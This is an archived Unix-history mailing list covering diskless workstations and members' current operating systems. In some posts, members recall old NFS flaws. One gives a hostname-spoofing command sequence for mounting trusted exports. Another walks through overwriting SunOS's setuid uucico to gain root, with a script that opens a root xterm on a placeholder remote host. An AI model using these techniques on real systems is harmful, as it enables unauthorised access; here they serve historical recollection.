> rootfs tarball, which gets extracted to a ramdisk.  switch_root(8) makes 
> it easy.  xCAT automates it.

Thank you for the high level overview.

I'll go do my homework.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170929/771531d7/attachment.bin>

[TUHS] RFS was: Re: UNIX of choice these days?

[Andreas Kusalananda Kähäri]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1279 bytes --]

On Fri, Sep 29, 2017 at 10:46:16AM -0600, Grant Taylor wrote:
> On 09/29/2017 02:59 AM, Andreas Kusalananda Kähäri wrote:
> > My main work setup today is actually a diskless (X11-less) OpenBSD
> > system.  It's just something I set up in a VM environment to learn how
> > to do it (I'm on a work laptop running Windows 10, as I need Windows for
> > some few work-related tasks), but it works just fine and I have no
> > reason to change it.  For one thing, it makes backups easier as they can
> > run locally on the server.
> 
> I think you're the first person that I've seen say "I am" and not "I used
> to" regarding diskless.
> 
> Can I ask for a high level overview of your config?
> 
> I am guessing dhcp and / or bootp, combined with tftp for kernel image, and
> NFS for root.

Nothing fancy.  OpenBSD's dhcpd on a server tells the client to pick up
pxeboot (2nd stage bootstrap) tftp from my file server. pxeboot then
loads the kernel over tftp.  The bootparamd daemon on the fileserver
provides info to the client regarding its root directory and swap file,
and the client mounts these over NFS.

It follows http://man.openbsd.org/diskless closely.



-- 
Andreas Kusalananda Kähäri,
National Bioinformatics Infrastructure Sweden (NBIS),
Uppsala University, Sweden.

[TUHS] RFS was: Re: UNIX of choice these days?

[George Ross]

> I dunno why all the hating on diskless.  They actually work, I used the
> heck out of them.

The issue we (initially) had with Suns wasn't the stateful/stateless debate,
or indeed that they were discless.  It was that horrible "UNIX
authentication" that NFS used.

We had been using discless "workstations" and fileservers since around the
late '70s / early '80s, basically ever since we discovered that virtual
DECtapes were a whole lot faster than the real thing.  Our "filestores"
didn't trust their clients -- they did the authentication themselves -- so
we could let the students loose doing bare-metal practicals without having
to worry about them breaking in.  That model didn't work for us with NFS.

However, Sun were keen to sell us kit (and DEC didn't seem to be), and they 
could sell us things for less than we could build them ourselves, so we 
eventually ended up with a couple of hundred or so of the things.  And they 
swapped like mad and thrashed the network into the ground.

We split subnets, and split subnets (and had some interesting amd maps as a 
result of trying to keep traffic local) and eventually ended up with so 
many that we couldn't run them all through all the offices as the cable 
bundle was too big, which was a nightmare for the admin staff trying to 
allocate people to desks.  Twisted pair, and then switches, saved us from 
that problem!

(We also had an X-terminal lab for a while, with a couple of beefy Suns as 
CPU servers.  That had its own, different, contention issues.  We learned 
from that not to arrange things in neat blocks, as the students would come 
in after lectures and go for the first free machine nearest the door, so 
using the naive approach we could end up with one CPU server being totally
overloaded and the other practically idle.)

Now everything is a PC with a ginormous disc, and the contention has moved 
to CPU cores and GPUs.  The more you throw at it the more the academics 
will come up with some way to saturate the thing...

(<http://history.dcs.ed.ac.uk/archive/os/APM-filestore/FS.1976/> for my 
rewrite of the original Interdata filestore code, btw, and 
<http://history.dcs.ed.ac.uk/archive/docs/dcs-inf-network-history.pdf> for 
a bit more on our network history.  There was also a filestore version that
ran on VMS and served files from that out to the network, but I haven't
been able to get a copy of that back off tape yet.)
-- 
George D M Ross MSc PhD CEng MBCS CITP
University of Edinburgh, School of Informatics,
Appleton Tower, 11 Crichton Street, Edinburgh, Scotland, EH8 9LE
Mail: gdmr at inf.ed.ac.uk   Voice: 0131 650 5147 
PGP: 1024D/AD758CC5  B91E D430 1E0D 5883 EF6A  426C B676 5C2B AD75 8CC5

The University of Edinburgh is a charitable body, registered in
Scotland, with registration number SC005336.

[TUHS] RFS was: Re: UNIX of choice these days?

[Don Hopkins]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1292 bytes --]

On 29 Sep 2017, at 17:22, George Ross <gdmr at inf.ed.ac.uk> wrote:

> I dunno why all the hating on diskless.  They actually work, I used the
> heck out of them.

The issue we (initially) had with Suns wasn't the stateful/stateless debate,
or indeed that they were discless.  It was that horrible "UNIX
authentication" that NFS used.

When I was a summer intern at Sun in ’87, it was common knowledge among the staff that anyone could find out what hosts an NFS file server trusted by using tftp, which was installed by default, and anonymously grabbing /etc/exports (or guessing hostnames if you can’t get the definitive list). 

Then you just go “hostname trusted-hostname ; mount -t nfs sever:/dir ; hostname original-hostname” to mount that file system.

That’s right: the NFS server TRUSTED the NFS client to tell it what it felt like its hostname should be at that particular instant in time!!! If the name the client sent in the parameter to the mount rpc call was listed in /etc/exports, then the server returned a file handle to the client for it to use from then on, even after changing its hostname back! 

I was able to nfs-mount a directory on one of cs.cmu.edu's servers from sun.com’s network with no problem. Ron may remember me warning him about that! 
 
-Don

[TUHS] RFS was: Re: UNIX of choice these days?

[Larry McVoy]

On Fri, Sep 29, 2017 at 08:40:41PM +0200, Don Hopkins wrote:
> On 29 Sep 2017, at 17:22, George Ross <gdmr at inf.ed.ac.uk> wrote:
> 
> > I dunno why all the hating on diskless.  They actually work, I used the
> > heck out of them.
> 
> The issue we (initially) had with Suns wasn't the stateful/stateless debate,
> or indeed that they were discless.  It was that horrible "UNIX
> authentication" that NFS used.

Yeah, that was a joke (in poor taste at that).

[TUHS] RFS was: Re: UNIX of choice these days?

[Arthur Krewat]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1086 bytes --]

There was also a horrible bit of backdoor-ism that was exploitable with 
NFS on SunOS - and was there for at least 4.1.3 but I imagine it was 
around for a long time.

If the /usr filesystem was exported, and you were either a "known host" 
or it was exported to (everyone) (and yes, there were a LOT of people 
that did this)...

Mount it locally, become root, su - uucp, and go and change the mode on 
/usr/lib/uucp/uucico (which was owned by uucp) from setuid to writable. 
Overwrite with your binary or script of choice.

Telnet to the exploited host, and /usr/lib/uucp/uucico was executed as root.

I usually used:

#!/bin/sh
/usr/openwin/bin/xterm -display <myhost>:0

I used this on a WAN back in the 90's - actually to reset a lost root 
password for someone, but also to poke around sometimes ;)

I don't know why people exported /usr - but they did it a lot.

On 9/29/2017 2:40 PM, Don Hopkins wrote:
> I was able to nfs-mount a directory on one of cs.cmu.edu's servers from sun.com’s network with no problem. Ron may remember me warning him about that!
>   
> -Don
>
>
>

[TUHS] RFS was: Re: UNIX of choice these days?

[Don Hopkins]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 885 bytes --]

Sun’s YP was a piece of work. 

That name always sounded to me like a brand of moist pop-up baby bottom wipes. 

Baby made a poopie, and now we need a YP!

Who remember’s Jordan Hubbard’s notorious rwall incident? 

https://en.wikipedia.org/wiki/Jordan_Hubbard#rwall_incident <https://en.wikipedia.org/wiki/Jordan_Hubbard#rwall_incident>

http://catless.ncl.ac.uk/Risks/4.73.html#subj10.1 <http://catless.ncl.ac.uk/Risks/4.73.html#subj10.1>

He put this line into /etc/netgroup:

universal (,,)

Then he did an rwall to that group…

I on a Sun at umd at the time, and received a copy! 

It also scribbled all over Dennis Perry's Interleaf windows (the Inspector General of the ARPAnet in the Pentagon).

-Don

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170930/fb269730/attachment.html>

[TUHS] RFS was: Re: UNIX of choice these days?

[Don Hopkins]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 5315 bytes --]

There were some interesting followup from Milo Medin, Jordan Hubbard and from Dennis Perry on the h_g/tcp-ip mailing lists:

From: Milo S. Medin <medin@orion.arpa>

Actually, Dennis Perry is the head of DARPA/IPTO, not a pencil pusher
in the IG's office.  IPTO is the part of DARPA that deals with all
CS issues (including funding for ARPANET, BSD, MACH, SDINET, etc...).
Calling him part of the IG's office on the TCP/IP list probably didn't
win you any favors.  Coincidentally I was at a meeting at the Pentagon
last Thursday that Dennis was at, along with Mike Corrigan (the man
at DoD/OSD responsible for all of DDN), and a couple other such types
discussing Internet management issues, when your little incident
came up.  Dennis was absolutely livid, and I recall him saying something
about shutting off UCB's PSN ports if this happened again.  There were
also reports about the DCA management types really putting on the heat
about turning on Mailbridge filtering now and not after the buttergates
are deployed.  I don't know if Mike St. Johns and company can hold them
off much longer.  Sigh...  Mike Corrigan mentioned that this was the sort
of thing that gets networks shut off.  You really pissed off the wrong
people with this move!

Dennis also called up some VP at SUN and demanded this hole
be patched in the next release.  People generally pay attention
to such people.

From: Jordan K. Hubbard <jkh@violet.berkeley.edu>

Well, I hope Sun patches the holes, Milo. I'm sorry that certain people chose
to react as strongly as they did in our esteemed government offices, but
I am glad that it raised enough fuss to possibly get the problem fixed. No
data was destroyed, lost, or infiltrated, but some people got a whack on the
side of the head for leaving the back door open. I'm not sure I can say that
I'm all that sorry that this happened. rwall is certainly going to change on
my machines, I can only hope that people concerned about being rwall'd over
the net will tighten up their RPC. Those that don't care, should at least be
aware of it.


From: Dennis G. Perry <PERRY@vax.darpa.mil>

Jordan, you are right in your assumptions that people will get annoyed
that what happened was allowed to happen.

By the way, I am the program manager of the Arpanet in the Information
Science and Technology Office of DARPA, located in Roslin (Arlington), not
the Pentagon.

I would like suggestions as to what you, or anyone else, think should be
done to prevent such occurances in the furture.  There are many drastic
choices one could make.  Is there a reasonable one?  Perhaps some one
from Sun could volunteer what there action will be in light of this
revelation.  I certainly hope that the community can come up with a good
solution, because I know that when the problem gets solved from the top
the solutions will reflect their concerns.

Think about this situation and I think you will all agree that this is
 a serious problem that could cripple the Arpanet and anyother net that
lets things like this happen without control.

dennis
———

From: Jordan K. Hubbard <jkh@violet.berkeley.edu>

Dennis,

Sorry about the mixup on your location and position within DARPA. I got
the news of your call to Richard Olson second hand, and I guess details
got muddled along the way. I think the best solution to this problem (and
other problems of this nature) is to tighten up the receiving ends. Assuming
that the network is basically hostile seems safer than assuming that it's
benign when deciding which services to offer.

I don't know what Sun has in mind for Secure RPC, or whether they will move
the release date for 4.0 (which presumably incorporates these features)
closer, but I will be changing rwalld here at Berkeley to use a new YP
database containing a list of "trusted" hosts. If it's possible to change
RPC itself, without massive performance degradation, I may do that as well.

My primary concern is that people understand where and why unix/network
security holes exist. I've gotten a few messages from people saying that
they would consider it a bug if rwall *didn't* perform in this manner, and
that hampering their ability to communicate with the rest of the network
would be against the spirit of all it stands for. There is, of course, the
opposite camp which feels that IMP's should only forward packets from hosts
registered with the NIC. I think that either point of view has its pros and
cons, but that it should be up to the users to make a choice. If they wish
to expose themselves to potential annoyance in exchange for being able to,
uh, communicate more freely, then so be it. If the opposite is true, then
they can take appropriate action. At least an informed choice will have been
made.

                Yours for a secure, but usable, network.

From: Dennis G. Perry <PERRY@vax.darpa.mil>

Jordan, thanks for the note.  I agree that we should discover and FIX holes
found in the system.  But at the same time, we don't want to have to
shut the thing down until such a fix can be made. Misuse of the system
get us all in a lot of trouble.  The Arpanet has succeeded because of
the self policing community. If this type of potential for disruption
gets used by very many people, I guarentee that we all will not like the
solution or fix proposed.

dennis
———

[TUHS] RFS was: Re: UNIX of choice these days?

[Dan Cross]

On Thu, Sep 28, 2017 at 6:20 PM, Larry McVoy <lm at mcvoy.com> wrote:
> I dunno why all the hating on diskless.  They actually work, I used the
> heck out of them.  For kernel work, stacking one on top of the other,
> the test machine being diskless, was a cheap way to get a setup.
>
> Sure, disk was better and if your work load was write heavy then they
> sucked (*), but for testing, for editing, that sort of thing, they were
> fine.

We had a setup on Sun's running SunOS 4.1.x that I actually really
liked; I believe it was referred to as "dataless". The root
filesystem, /tmp and swap were local, along with scratch space on an
arbitrarily named filesystem (I think we mounted that on /scratch, but
I can't remember the details at this point). The difference between
/tmp and /scratch was that the latter persisted across reboots and we
backed it up. /usr, /usr/local came from a fileserver on the local
ethernet and /home was automounted. Users didn't have local root
access, and we kept / pretty well updated using rdist and some
home-grown scripts; basically, we could throw / away at any time on
any machine and rebuild it without losing much. Since all the
administrative data like passwd, group et al all came from NIS it was
almost the best of both worlds: the consistency and central management
of diskless machines and the performance of having local disk. When
the user wanted to do something temporary and IO intensive s/he just
did it in /scratch or /tmp; everything else lived on the file server.

We could deploy a new machine by netbooting it and dd'ing an image
onto the disk. A script ran the first time it booted up that made
whatever small modifications were necessary to files in /etc (this was
before jumpstart and officially sanctioned network install systems)
and away one went. It took about 10 minutes before the user could take
over and get to work.

It was a really nice, comfortable system. Of course, it wouldn't fly
in this day and age for security and other reasons but back in the
early 90s it was great. I didn't find a system I liked as much until I
met plan9. In many ways, the environments were on these days feel like
a regression.

        - Dan C.

[TUHS] RFS was: Re: UNIX of choice these days?

[Larry McVoy]

On Fri, Sep 29, 2017 at 03:19:19PM -0400, Dan Cross wrote:
> On Thu, Sep 28, 2017 at 6:20 PM, Larry McVoy <lm at mcvoy.com> wrote:
> > I dunno why all the hating on diskless.  They actually work, I used the
> > heck out of them.  For kernel work, stacking one on top of the other,
> > the test machine being diskless, was a cheap way to get a setup.
> >
> > Sure, disk was better and if your work load was write heavy then they
> > sucked (*), but for testing, for editing, that sort of thing, they were
> > fine.
> 
> We had a setup on Sun's running SunOS 4.1.x that I actually really
> liked; I believe it was referred to as "dataless". The root
> filesystem, /tmp and swap were local, along with scratch space on an
> arbitrarily named filesystem (I think we mounted that on /scratch, but
> I can't remember the details at this point). The difference between
> /tmp and /scratch was that the latter persisted across reboots and we
> backed it up. /usr, /usr/local came from a fileserver on the local
> ethernet and /home was automounted. Users didn't have local root
> access, and we kept / pretty well updated using rdist and some
> home-grown scripts; basically, we could throw / away at any time on
> any machine and rebuild it without losing much. 

That's how Sun ran their engineering setup by default.  Your home 
directory was on some file server and that's where you put long 
lived stuff or stuff you wanted other people to see.

The local disks were for performance and were optional.  You could do
the same thing diskless for an admin and they were perfectly happy.

I did more or less the same thing for 20 years at BitMover, worked
great.

[TUHS] RFS was: Re: UNIX of choice these days?

[Jon Forrest]

On 9/29/2017 12:19 PM, Dan Cross wrote:

> We had a setup on Sun's running SunOS 4.1.x that I actually really
> liked; I believe it was referred to as "dataless".
[...]
> It was a really nice, comfortable system. Of course, it wouldn't fly
> in this day and age for security and other reasons but back in the
> early 90s it was great.

I agree 100%. I created such an environment on DEC's OSF/1 running
on Alphas (c. f. A Dataless Environment in OSF/1, Digital Systems
Journal - Nov. 1994) when I worked in the CS department at
UC Berkeley. Plus, the CS department itself ran a big Auspex
server that made it possible to create an ad-hoc dataless environment.

At the time, a 600MB disk drive was considered large. Putting all
the read-only stuff on a server made lots of sense. Of course, it
required a reasonably fast network connection, but with 100Mbs networks
starting to get cheap at that time, that wasn't a big deal.

Jon Forrest
UC Berkeley (ret.)

[TUHS] UNIX of choice these days?

[Dave Horsfall]

On Sat, 23 Sep 2017, Dario Niedermann wrote:

> I have been a user in the past, but I just can't forgive FreeBSD for
> abandoning the proc filesystem  :-(

When did this happen?

aneurin% uname -a; df
FreeBSD aneurin.horsfall.org 10.3-RELEASE-p20 FreeBSD 10.3-RELEASE-p20 #0: Wed Jul 12 03:10:26 UTC 2017     root at amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC  i386
Filesystem  1K-blocks    Used   Avail Capacity  Mounted on
/dev/ad0s1a    507630  284674  182346    61%    /
devfs               1       1       0   100%    /dev
tmpfs         1007912      60 1007852     0%    /tmp
/dev/ad0s1d   3045006 1351324 1450082    48%    /usr
/dev/ad0s1e   1012974  811120  120818    87%    /var
/dev/ad0s1f   4058062  972216 2761202    26%    /home
/dev/ad0s1g   9287662 6538598 2006052    77%    /usr/local
fdescfs             1       1       0   100%    /dev/fd
procfs              4       4       0   100%    /proc

Notice the last entry...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."

[TUHS] UNIX of choice these days?

[Christian Groessler]

On 09/23/17 11:17, Dario Niedermann wrote:
> Il 20/09/2017 alle 02:39, Dave Horsfall ha scritto:
>
>> Definitely FreeBSD, because it's solid, has thousands of ports,
>> and well, is BSD...
> I have been a user in the past, but I just can't forgive FreeBSD for
> abandoning the proc filesystem  :-(


And SLIP... :-(


regards,
chris

[TUHS] UNIX of choice these days?

[Grant Taylor]

On 09/19/2017 06:12 PM, Arthur Krewat wrote:
> What's your UNIX of choice to do normal "real" things these days?

Linux.  I have a mixture of (legacy) CentOS, (X)Ubuntu (current) and 
Gentoo (future).  #ImANTIsystemd

> What do you all use for day-to-day development and general playing 
> around with new stuff?

I can use just about any ""unix and prefer the GNU tool chain.

I *LOVE* to chain commands together to do various things.  I feel like I 
can get the ""unix environment to do my bidding.  Most of the time.  ;-)

As long as you can get the job done, I don't care what you use to do it. 
  To each his / her own.  (Unless I have to help support it, then I care.)



-- 
Grant. . . .
unix || die

[TUHS] UNIX of choice these days?

[Mutiny]

On 09/19/2017 06:12 PM, Arthur Krewat wrote:> What's your UNIX of choice to do normal "real" things these days?Linux.  Fedora 26 (short: F26).
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/4d5e834a/attachment-0001.html>

[TUHS] UNIX of choice these days?

[Steve Nickolas]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 531 bytes --]

On Tue, 19 Sep 2017, Arthur Krewat wrote:

> What's your UNIX of choice to do normal "real" things these days?

I don't think I actually have access to any *Unix* machines except for a 
friend's Solaris server... everything I use that isn't Windows is either 
Linux (almost always some sort of Debian) or some sort of BSD.

Not that I wouldn't like to be running some sort of "Real Unix®™©, 
keeping in mind that they're not usually a good fit for commodity PC 
hardware (even Solaris never really was, I don't think).

-uso.

[TUHS] UNIX of choice these days?

[Arthur Krewat]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1457 bytes --]

A note on the PC hardware front:

Solaris 11+ has been doing very well for me on PC-based platforms for 
quite a few years now. The drivers handle everything up to probably the 
lastest-gen( minus 1) LSI or Emulex or any other disk/fiber controllers, 
10Gbe Intel or Mellanox ethernet cards, and generally support enough USB 
stuff to make it worthwhile for me - USB serial port adapters actually 
DO wind up in /dev/cua ;)

The Intel processor support has been great w/NUMA aware scheduler (check 
out lgrpinfo on a Solaris box) which is very useful for Oracle DB, and a 
few other things I can't think of right now.

I don't use it for desktop though, except for Xvnc with a bunch of 
xterms open so I don't lose my mind when my Windows workstation gets 
more perpetual updates and I have to reboot it. Xvnc also helps to deal 
with the inevitable Oracle GUI-based installations.

On 9/20/2017 5:15 AM, Steve Nickolas wrote:
>
> Not that I wouldn't like to be running some sort of "Real Unix®™©, 
> keeping in mind that they're not usually a good fit for commodity PC 
> hardware (even Solaris never really was, I don't think).
>

One thing I left out of my original post on this thread was that when I 
say "Unix" - I include Linux in that. It's not, technically, and being 
the anti-Linux snob that I am, I wouldn't include it in the term "Unix". 
However, I left that up to the individual as to whether or not they want 
to call Linux "Unix" ;)

[TUHS] UNIX of choice these days?

[Steve Nickolas]

On Wed, 20 Sep 2017, Arthur Krewat wrote:

> One thing I left out of my original post on this thread was that when I say 
> "Unix" - I include Linux in that. It's not, technically, and being the 
> anti-Linux snob that I am, I wouldn't include it in the term "Unix". However, 
> I left that up to the individual as to whether or not they want to call Linux 
> "Unix" ;)

Yeah, I clearly wasn't using that definition in my reply ;)

I'm pro-Linux (Linux as Linux, GNU is another matter), but "Linux Is Not 
UniX", and I don't even consider any of the BSDs that (I'm even loath to 
call OSX that and it's trademark-compliant!).  But that's just me. :P

To me "Unix" means either an ancestral AT&T variety, or a SysV derivative.

-uso.

[TUHS] UNIX of choice these days?

[Henry Bent]

On 20 September 2017 at 12:58, Arthur Krewat <krewat at kilonet.net> wrote:

> A note on the PC hardware front:
>
> Solaris 11+ has been doing very well for me on PC-based platforms for
> quite a few years now. The drivers handle everything up to probably the
> lastest-gen( minus 1) LSI or Emulex or any other disk/fiber controllers,
> 10Gbe Intel or Mellanox ethernet cards, and generally support enough USB
> stuff to make it worthwhile for me - USB serial port adapters actually DO
> wind up in /dev/cua ;)
>
> The Intel processor support has been great w/NUMA aware scheduler (check
> out lgrpinfo on a Solaris box) which is very useful for Oracle DB, and a
> few other things I can't think of right now.
>
> I don't use it for desktop though, except for Xvnc with a bunch of xterms
> open so I don't lose my mind when my Windows workstation gets more
> perpetual updates and I have to reboot it. Xvnc also helps to deal with the
> inevitable Oracle GUI-based installations.
>

How do you feel about the fact that Solaris is essentially EOL now?  I'm
sure it will be reasonable to run for another year or two, but where will
you go after that?

-Henry
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/7b808017/attachment.html>

[TUHS] UNIX of choice these days?

[Arthur Krewat]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1036 bytes --]



On 9/20/2017 1:53 PM, Henry Bent wrote:
> On 20 September 2017 at 12:58, Arthur Krewat <krewat at kilonet.net 
> <mailto:krewat at kilonet.net>> wrote:
>
>     A note on the PC hardware front:
>
>
> How do you feel about the fact that Solaris is essentially EOL now?  
> I'm sure it will be reasonable to run for another year or two, but 
> where will you go after that?
>

Don't make me cry in my coffee :(

Personally, I'll either run with it for as long as I can and deal with 
it, and hope that Oracle at least releases the last ZFS so it can be 
incorporated somewhere, or go back to FreeBSD which I used to run before 
Solaris X86 was available to me as Solaris 7, and use the earlier 
version of ZFS.

Professionally, there's only Linux now - I'll use Oracle Linux for 
servers with Oracle products on them, but even then, I'm not liking the 
NUMA support.


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/b978c414/attachment.html>

[TUHS] UNIX of choice these days?

[Brad Spencer]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1535 bytes --]

Arthur Krewat <krewat at kilonet.net> writes:

> On 9/20/2017 1:53 PM, Henry Bent wrote:
>> On 20 September 2017 at 12:58, Arthur Krewat <krewat at kilonet.net 
>> <mailto:krewat at kilonet.net>> wrote:
>>
>>     A note on the PC hardware front:
>>
>>
>> How do you feel about the fact that Solaris is essentially EOL now?  
>> I'm sure it will be reasonable to run for another year or two, but 
>> where will you go after that?
>>
>
> Don't make me cry in my coffee :(
>
> Personally, I'll either run with it for as long as I can and deal with 
> it, and hope that Oracle at least releases the last ZFS so it can be 
> incorporated somewhere, or go back to FreeBSD which I used to run before 
> Solaris X86 was available to me as Solaris 7, and use the earlier 
> version of ZFS.
>
> Professionally, there's only Linux now - I'll use Oracle Linux for 
> servers with Oracle products on them, but even then, I'm not liking the 
> NUMA support.


No need to cry..  at Dayjob we run Joyent SmartOS, which is Solaris done
by a bunch of former Sun folks.  Oracle need not apply..  There is a
private cloud infrastructure running a very large e-commerce site on it.
You may want to look into SmartOS or OmniOS if you want more of a
desktop experience.  Patches and pretty good support....  all around.

At Not Dayjob, it is all NetBSD.  Some i386/amd64 bare metal, lots of
Xen and some arm since 1993 or so.




-- 
Brad Spencer - brad at anduin.eldar.org - KC8VKS
http://anduin.eldar.org  - & -  http://anduin.ipv6.eldar.org [IPv6 only]

[TUHS] UNIX of choice these days?

[Henry Bent]

On 20 September 2017 at 14:33, Brad Spencer <brad at anduin.eldar.org> wrote:

>
> At Not Dayjob, it is all NetBSD.  Some i386/amd64 bare metal, lots of
> Xen and some arm since 1993 or so.
>

I ran NetBSD at home for over fifteen years until last year, on both a disk
server and a workstation, and usually on whatever odd hardware came my
way.  For the most part it was extremely clean and efficient, but at some
point I realized that for amd64 hardware there was a real lack of
performance as compared to Linux.  NetBSD is wonderful for running on older
or exotic hardware when performance is not the #1 consideration, and as far
as I know the networking stack is still among the best, but for a day to
day workstation it just wasn't able to cut it anymore.

-Henry
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/e5a7062d/attachment.html>

[TUHS] UNIX of choice these days?

[Arthur Krewat]

On 9/20/2017 2:33 PM, Brad Spencer wrote:
> Arthur Krewat <krewat at kilonet.net> writes:
>
>> Don't make me cry in my coffee :(
> No need to cry..  at Dayjob we run Joyent SmartOS, which is Solaris done
> by a bunch of former Sun folks.  Oracle need not apply..  There is a
> private cloud infrastructure running a very large e-commerce site on it.
> You may want to look into SmartOS or OmniOS if you want more of a
> desktop experience.  Patches and pretty good support....  all around.
>

Thank you for that. Eventually, I was going to ask the list if they knew 
of a decent version of Solaris that would fill my needs.

I'll take a look.

[TUHS] UNIX of choice these days?

[Jacob Ritorto]

  Been on MacOS + SmartOS for DayJob + home since 6 years (actually
migrated from Linux to SmartOS for measurable performance gains and
containers model).  Pretty happy sailing other than having to modify a lot
of Chef recipes to accommodate different paths...
  New day job is Gnu/Linux, boring as that may seem..  But they offered
remote, so, you know..

Oh, and also, FreeBSD for the Raspberry Pis.  Has native zfs!

thx
jake

On Wed, Sep 20, 2017 at 3:37 PM, Arthur Krewat <krewat at kilonet.net> wrote:

>
>
> On 9/20/2017 2:33 PM, Brad Spencer wrote:
>
>> Arthur Krewat <krewat at kilonet.net> writes:
>>
>> Don't make me cry in my coffee :(
>>>
>> No need to cry..  at Dayjob we run Joyent SmartOS, which is Solaris done
>> by a bunch of former Sun folks.  Oracle need not apply..  There is a
>> private cloud infrastructure running a very large e-commerce site on it.
>> You may want to look into SmartOS or OmniOS if you want more of a
>> desktop experience.  Patches and pretty good support....  all around.
>>
>>
> Thank you for that. Eventually, I was going to ask the list if they knew
> of a decent version of Solaris that would fill my needs.
>
> I'll take a look.
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/e0352f50/attachment.html>

[TUHS] UNIX of choice these days?

[Ian Zimmerman]

On 2017-09-20 15:58, Jacob Ritorto wrote:

> Oh, and also, FreeBSD for the Raspberry Pis.  Has native zfs!

Funny you mention this: I just tried this an hour ago.

But no joy: the SD card images are all for armv6 (Pi 1 & 2), but I have
the Pi 3 which is aarch64.  And as far as I know it cannot boot from USB
storage.

How did you do it, if you have a Pi 3 ?

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.

[TUHS] UNIX of choice these days?

[Warner Losh]

On Wed, Sep 20, 2017 at 4:29 PM, Ian Zimmerman <itz at very.loosely.org> wrote:

> On 2017-09-20 15:58, Jacob Ritorto wrote:
>
> > Oh, and also, FreeBSD for the Raspberry Pis.  Has native zfs!
>
> Funny you mention this: I just tried this an hour ago.
>
> But no joy: the SD card images are all for armv6 (Pi 1 & 2), but I have
> the Pi 3 which is aarch64.  And as far as I know it cannot boot from USB
> storage.
>
> How did you do it, if you have a Pi 3 ?


I thought FreeBSD had pi3 -current snapshots...  If not, a custom image
with NanoBSD or crochet isn't hard to knock together.

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/c06d4987/attachment.html>

[TUHS] UNIX of choice these days?

[Chet Ramey]

On 9/19/17 8:12 PM, Arthur Krewat wrote:
> What's your UNIX of choice to do normal "real" things these days?

Mac OS X. It's where I do my development and my normal day-to-day stuff.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/

[TUHS] UNIX of choice these days?

[Nemo]

On 19 September 2017 at 20:12, Arthur Krewat <krewat at kilonet.net> wrote:
> What's your UNIX of choice to do normal "real" things these days?

Home: OS X (PPC), Solaris 10 (Sparc)
Work: OS X (Intel)

N.

[TUHS] UNIX of choice these days?

[Clem Cole]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1386 bytes --]

On Tue, Sep 19, 2017 at 8:12 PM, Arthur Krewat <krewat at kilonet.net> wrote:

> What's your UNIX of choice to do normal "real" things these days?
>
> Home file server (NAS), business stuff, develop code, whatever.
>
>
​It depends...   on what I have, what will get the job done etc...

My laptop is a 2016 MBP with Sierra, as are wife and college age son;
although their systems are not quite as new as mine.

For work, I program on Mac OS, Linux or mOS depending, the later two ssh
from Mac.   And since Winders as an Unbuntu subsystem, when I use the VM
and absolutely have to use it, I have that too.

'ccc.com' primary infrastructure is OpenBSD cause it just works and is
simple, little bloat and I can mostly forget it - it just works.

My NAS is an older Linux version pentium class box that needs to be
upgraded, not just what the next thing will be - I've not had time. But it
came with a Linux and it works, really well, its behind the firewall.
Like Larry, I have a number of TBs of RAID5 on it, and I just do simple
rsyncs to it from the other systems.

Different routers run dd-wrt - which are linux under the covers.

Then I have lots of different  specialized systems, running whatever makes
sense.​
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/b9f15790/attachment.html>

[TUHS] UNIX of choice these days?

[Jon Steinhart]

Arthur Krewat writes:
> What's your UNIX of choice to do normal "real" things these days?

Well, it's mostly Linux because that's where the work seems to be.

For non-mobile machines I use Intel hardware and build my own because my
partner worked for Intel.  The general deal at the employee store, access
to which is a retirement benefit, is the latest CPU plus a motherboard
for $300.  Hard to beat.  I have had the same cases and power supplies
and such forever and just swap out the guts every so often.  Whenever I
upgrade the old parts roll down to my second office machine, then my
partner's machine, then the ski cabin machine.

Main machine here is an i7-4790 4GHx 8 core cpu with 32G of ram and 20TiB of
disk.  Two more machines like it around the house but older CPUs and less
disk.  I run my own email server so that it theoretically takes a warrant to
spy on my email so I have the second office machine configured as a standby
so that if the main machine dies I can switch to the spare while doing repairs.
